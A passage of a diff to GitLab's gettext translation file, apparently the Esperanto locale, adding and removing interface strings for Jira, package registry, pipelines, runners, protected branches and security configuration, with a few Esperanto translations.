msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr "Mediano"
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
msgid "New password"
msgstr ""
-msgid "New pipelines cause older pending pipelines on the same branch to be cancelled."
+msgid "New pipelines cause older pending or running pipelines on the same branch to be cancelled."
msgstr ""
msgid "New project"
@@ -22462,9 +22150,6 @@ msgstr ""
msgid "No repository"
msgstr "Ne estas deponejo"
-msgid "No required pipeline"
-msgstr ""
-
msgid "No runner executable"
msgstr ""
@@ -22651,9 +22336,6 @@ msgstr ""
msgid "Nothing to preview."
msgstr ""
-msgid "Nothing to synchronize"
-msgstr ""
-
msgid "Notification events"
msgstr "Sciigaj eventoj"
@@ -22788,9 +22470,6 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of %{itemTitle}"
-msgstr ""
-
msgid "Number of Elasticsearch shards and replicas (per index)"
msgstr ""
@@ -23426,10 +23105,10 @@ msgstr ""
msgid "Package type must be RubyGems"
msgstr ""
-msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Packages with the same name and version are accepted."
+msgid "PackageRegistry|%{boldStart}Allow duplicates%{boldEnd} - Accept packages with the same name and version."
msgstr ""
-msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected."
+msgid "PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Reject packages with the same name and version."
msgstr ""
msgid "PackageRegistry|%{name} version %{version} was first created %{datetime}"
@@ -23507,6 +23186,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy SHA"
+msgstr ""
+
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
@@ -23537,6 +23219,12 @@ msgstr ""
msgid "PackageRegistry|Created by commit %{link} on branch %{branch}"
msgstr ""
+msgid "PackageRegistry|Debian"
+msgstr ""
+
+msgid "PackageRegistry|Delete Package File"
+msgstr ""
+
msgid "PackageRegistry|Delete Package Version"
msgstr ""
@@ -23561,9 +23249,6 @@ msgstr ""
msgid "PackageRegistry|Generic"
msgstr ""
-msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
-msgstr ""
-
msgid "PackageRegistry|Gradle Groovy DSL"
msgstr ""
@@ -23615,6 +23300,9 @@ msgstr ""
msgid "PackageRegistry|Package Registry"
msgstr ""
+msgid "PackageRegistry|Package file deleted successfully"
+msgstr ""
+
msgid "PackageRegistry|Package has %{number} archived update"
msgstr ""
@@ -23624,15 +23312,15 @@ msgstr ""
msgid "PackageRegistry|Package updated by commit %{link} on branch %{branch}, built by pipeline %{pipeline}, and published to the registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Packages can be published if their name or version matches this regex"
-msgstr ""
-
msgid "PackageRegistry|Pip Command"
msgstr ""
msgid "PackageRegistry|Publish and share packages for a variety of common package managers. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
+msgid "PackageRegistry|Publish packages if their name or version matches this regex."
+msgstr ""
+
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
@@ -23678,6 +23366,12 @@ msgstr ""
msgid "PackageRegistry|Show Yarn commands"
msgstr ""
+msgid "PackageRegistry|Something went wrong while deleting the package file."
+msgstr ""
+
+msgid "PackageRegistry|Something went wrong while deleting the package."
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -23708,6 +23402,12 @@ msgstr ""
msgid "PackageRegistry|Unable to load package"
msgstr ""
+msgid "PackageRegistry|Use GitLab as a private registry for common package formats. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
+msgid "PackageRegistry|You are about to delete %{filename}. This is a destructive action that may render your package unusable. Are you sure?"
+msgstr ""
+
msgid "PackageRegistry|You are about to delete %{name}, this operation is irreversible, are you sure?"
msgstr ""
@@ -23900,9 +23600,6 @@ msgstr ""
msgid "Pause Elasticsearch indexing"
msgstr ""
-msgid "Pause replication"
-msgstr ""
-
msgid "Paused"
msgstr ""
@@ -24107,10 +23804,10 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr "Totalo:"
-msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgid "PipelineEditorTutorial|Commit the file to your repository. The pipeline then runs automatically."
msgstr ""
msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
@@ -24122,9 +23819,6 @@ msgstr ""
msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
msgstr ""
-msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
-msgstr ""
-
msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
msgstr ""
@@ -24134,16 +23828,22 @@ msgstr ""
msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
msgstr ""
+msgid "PipelineEditorTutorial|Select the pipeline ID to view the full details about your first pipeline run."
+msgstr ""
+
msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
msgstr ""
-msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgid "PipelineEditorTutorial|The pipeline status is at the top of the page."
msgstr ""
-msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgid "PipelineEditorTutorial|This template creates a simple test pipeline. To use it:"
msgstr ""
-msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
msgstr ""
msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
@@ -24263,10 +23963,10 @@ msgstr ""
msgid "Pipelines|Editor"
msgstr ""
-msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a simple pipeline that runs a “Hello world†script."
+msgid "Pipelines|Get familiar with GitLab CI/CD syntax by starting with a basic 3 stage CI/CD pipeline."
msgstr ""
-msgid "Pipelines|Get started with CI/CD"
+msgid "Pipelines|Get started with GitLab CI/CD"
msgstr ""
msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
@@ -24284,12 +23984,18 @@ msgstr ""
msgid "Pipelines|Improve code quality with GitLab CI/CD"
msgstr ""
+msgid "Pipelines|Install GitLab Runners"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
msgid "Pipelines|Last Used"
msgstr ""
+msgid "Pipelines|Learn about Runners"
+msgstr ""
+
msgid "Pipelines|Lint"
msgstr ""
@@ -24401,9 +24107,6 @@ msgstr ""
msgid "Pipelines|parent"
msgstr ""
-msgid "Pipelines|“Hello world†with GitLab CI/CD"
-msgstr ""
-
msgid "Pipeline|Actions"
msgstr ""
@@ -24554,13 +24257,13 @@ msgstr "kun etapo"
msgid "Pipeline|with stages"
msgstr "kun etapoj"
-msgid "PivotalTrackerService|Add commit messages as comments to PivotalTracker stories."
+msgid "PivotalTrackerService|Add commit messages as comments to Pivotal Tracker stories."
msgstr ""
-msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgid "PivotalTrackerService|Comma-separated list of branches to automatically inspect. Leave blank to include all branches."
msgstr ""
-msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgid "PivotalTrackerService|Pivotal Tracker API token. User must have access to the story. All comments are attributed to this user."
msgstr ""
msgid "Plain diff"
@@ -24605,10 +24308,10 @@ msgstr ""
msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
msgstr ""
-msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgid "Please check your email %{email} to confirm your account"
msgstr ""
-msgid "Please check your email to confirm your account"
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
msgstr ""
msgid "Please choose a file"
@@ -24620,6 +24323,12 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please confirm your email address"
+msgstr ""
+
+msgid "Please contact an admin to register runners."
+msgstr ""
+
msgid "Please contact your GitLab administrator if you think this is an error."
msgstr ""
@@ -25232,6 +24941,9 @@ msgstr ""
msgid "Profiles|Enter your name, so people you know can recognize you"
msgstr ""
+msgid "Profiles|Enter your pronouns to let people know how to refer to you"
+msgstr ""
+
msgid "Profiles|Expired key is not valid."
msgstr ""
@@ -25517,9 +25229,6 @@ msgstr ""
msgid "Project Access Tokens"
msgstr ""
-msgid "Project Audit Events"
-msgstr ""
-
msgid "Project Badges"
msgstr ""
@@ -25547,6 +25256,9 @@ msgstr ""
msgid "Project and wiki repositories"
msgstr ""
+msgid "Project audit events"
+msgstr ""
+
msgid "Project avatar"
msgstr ""
@@ -25559,9 +25271,6 @@ msgstr ""
msgid "Project description (optional)"
msgstr ""
-msgid "Project details"
-msgstr ""
-
msgid "Project does not exist or you don't have permission to perform this action"
msgstr ""
@@ -25610,15 +25319,9 @@ msgstr ""
msgid "Project order will not be saved as local storage is not available."
msgstr ""
-msgid "Project overview"
-msgstr ""
-
msgid "Project path"
msgstr ""
-msgid "Project scanning help page"
-msgstr ""
-
msgid "Project security status"
msgstr ""
@@ -25667,9 +25370,6 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Neniam"
-msgid "ProjectLifecycle|Stage"
-msgstr "Etapo"
-
msgid "ProjectOverview|Fork"
msgstr ""
@@ -26285,9 +25985,6 @@ msgstr ""
msgid "ProjectsNew|Create blank project"
msgstr ""
-msgid "ProjectsNew|Create blank project/repository"
-msgstr ""
-
msgid "ProjectsNew|Create from template"
msgstr ""
@@ -26303,9 +26000,6 @@ msgstr ""
msgid "ProjectsNew|Import project"
msgstr ""
-msgid "ProjectsNew|Import project/repository"
-msgstr ""
-
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
@@ -26390,21 +26084,18 @@ msgstr ""
msgid "PrometheusService|Active"
msgstr ""
-msgid "PrometheusService|Auto configuration"
-msgstr ""
-
msgid "PrometheusService|Auto configuration settings are used unless you override their values here."
msgstr ""
-msgid "PrometheusService|Automatically deploy and configure Prometheus on your clusters to monitor your project’s environments."
-msgstr ""
-
msgid "PrometheusService|Common metrics"
msgstr ""
msgid "PrometheusService|Common metrics are automatically monitored based on a library of metrics from popular exporters."
msgstr ""
+msgid "PrometheusService|Configure GitLab to query a Prometheus installed in one of your clusters."
+msgstr ""
+
msgid "PrometheusService|Custom metrics"
msgstr ""
@@ -26420,18 +26111,9 @@ msgstr ""
msgid "PrometheusService|Finding custom metrics..."
msgstr ""
-msgid "PrometheusService|GitLab is managing Prometheus on your clusters."
-msgstr ""
-
-msgid "PrometheusService|GitLab manages Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com"
msgstr ""
-msgid "PrometheusService|Install Prometheus on clusters"
-msgstr ""
-
msgid "PrometheusService|Manage clusters"
msgstr ""
@@ -26447,9 +26129,6 @@ msgstr ""
msgid "PrometheusService|Monitor application health with Prometheus metrics and dashboards"
msgstr ""
-msgid "PrometheusService|Monitor your project’s environments by deploying and configuring Prometheus on your clusters."
-msgstr ""
-
msgid "PrometheusService|More information"
msgstr ""
@@ -26462,6 +26141,9 @@ msgstr ""
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
+msgid "PrometheusService|Prometheus cluster integration"
+msgstr ""
+
msgid "PrometheusService|PrometheusService|The ID of the IAP-secured resource."
msgstr ""
@@ -26477,7 +26159,7 @@ msgstr ""
msgid "PrometheusService|These metrics will only be monitored after your first deployment to an environment"
msgstr ""
-msgid "PrometheusService|To enable the installation of Prometheus on your clusters, deactivate the manual configuration."
+msgid "PrometheusService|To use a Prometheus installed on a cluster, deactivate the manual configuration."
msgstr ""
msgid "PrometheusService|Waiting for your first deployment to an environment to find common metrics"
@@ -26486,6 +26168,9 @@ msgstr ""
msgid "PrometheusService|You can now manage your Prometheus settings on the %{operations_link_start}Operations%{operations_link_end} page. Fields on this page has been deprecated."
msgstr ""
+msgid "PrometheusService|You have a cluster with the Prometheus integration enabled."
+msgstr ""
+
msgid "PrometheusService|https://prometheus.example.com/"
msgstr ""
@@ -26495,9 +26180,6 @@ msgstr ""
msgid "Promote"
msgstr ""
-msgid "Promote confidential issue to a non-confidential epic"
-msgstr ""
-
msgid "Promote issue to an epic"
msgstr ""
@@ -26516,9 +26198,6 @@ msgstr ""
msgid "PromoteMilestone|Promotion failed - %{message}"
msgstr ""
-msgid "Promoted confidential issue to a non-confidential epic. Information in this issue is no longer confidential as epics are public to group members."
-msgstr ""
-
msgid "Promoted issue to an epic."
msgstr ""
@@ -26642,13 +26321,16 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
-msgid "ProtectedBranch|Allow force push"
+msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
+msgstr ""
+
+msgid "ProtectedBranch|Allow all users with push access to force push."
msgstr ""
-msgid "ProtectedBranch|Allow force push for all users with push access."
+msgid "ProtectedBranch|Allowed to force push"
msgstr ""
-msgid "ProtectedBranch|Allow force push:"
+msgid "ProtectedBranch|Allowed to force push:"
msgstr ""
msgid "ProtectedBranch|Allowed to merge"
@@ -26669,12 +26351,21 @@ msgstr ""
msgid "ProtectedBranch|Branch:"
msgstr ""
+msgid "ProtectedBranch|By default, protected branches restrict who can modify the branch."
+msgstr ""
+
msgid "ProtectedBranch|Code owner approval"
msgstr ""
msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
+msgid "ProtectedBranch|Keep stable branches secure and force developers to use merge requests."
+msgstr ""
+
+msgid "ProtectedBranch|Learn more."
+msgstr ""
+
msgid "ProtectedBranch|Protect"
msgstr ""
@@ -26684,6 +26375,9 @@ msgstr ""
msgid "ProtectedBranch|Protected branch (%{protected_branches_count})"
msgstr ""
+msgid "ProtectedBranch|Protected branches"
+msgstr ""
+
msgid "ProtectedBranch|Reject code pushes that change files listed in the CODEOWNERS file."
msgstr ""
@@ -26693,12 +26387,15 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
-msgid "ProtectedBranch|Toggle allow force push"
+msgid "ProtectedBranch|Toggle allowed to force push"
msgstr ""
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
+msgid "ProtectedBranch|What are protected branches?"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -26744,18 +26441,30 @@ msgstr ""
msgid "ProtectedEnvironment|Your environment has been unprotected"
msgstr ""
-msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
+msgid "ProtectedTag|By default, protected branches restrict who can modify the tag."
msgstr ""
-msgid "Protocol"
+msgid "ProtectedTag|Learn more."
msgstr ""
-msgid "Provide feedback"
+msgid "ProtectedTag|Limit access to creating and updating tags."
+msgstr ""
+
+msgid "ProtectedTag|Protected tags"
+msgstr ""
+
+msgid "ProtectedTag|What are protected tags?"
+msgstr ""
+
+msgid "Protip: %{linkStart}Auto DevOps%{linkEnd} uses Kubernetes clusters to deploy your code!"
msgstr ""
msgid "Provider"
msgstr ""
+msgid "Provision instructions"
+msgstr ""
+
msgid "Provisioned by:"
msgstr ""
@@ -27160,6 +26869,9 @@ msgstr ""
msgid "Register with two-factor app"
msgstr ""
+msgid "Registration Features include:"
+msgstr ""
+
msgid "Registration|Checkout"
msgstr ""
@@ -27187,6 +26899,9 @@ msgstr ""
msgid "Related Issues"
msgstr "Rilataj problemoj"
+msgid "Related feature flags"
+msgstr ""
+
msgid "Related issues"
msgstr ""
@@ -27366,6 +27081,9 @@ msgstr ""
msgid "Remove limit"
msgstr ""
+msgid "Remove link"
+msgstr ""
+
msgid "Remove list"
msgstr ""
@@ -27381,15 +27099,9 @@ msgstr ""
msgid "Remove milestone"
msgstr ""
-msgid "Remove node"
-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27405,9 +27117,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27555,15 +27264,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27573,15 +27285,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27981,6 +27684,9 @@ msgstr[1] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -28131,12 +27837,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -28152,9 +27852,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28249,6 +27946,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28258,9 +27958,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28327,12 +28024,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28342,6 +28048,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28351,9 +28060,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28366,9 +28084,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28411,12 +28135,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28447,6 +28177,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28525,6 +28261,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28576,10 +28318,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr "Konservi ĉenstablan planon"
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
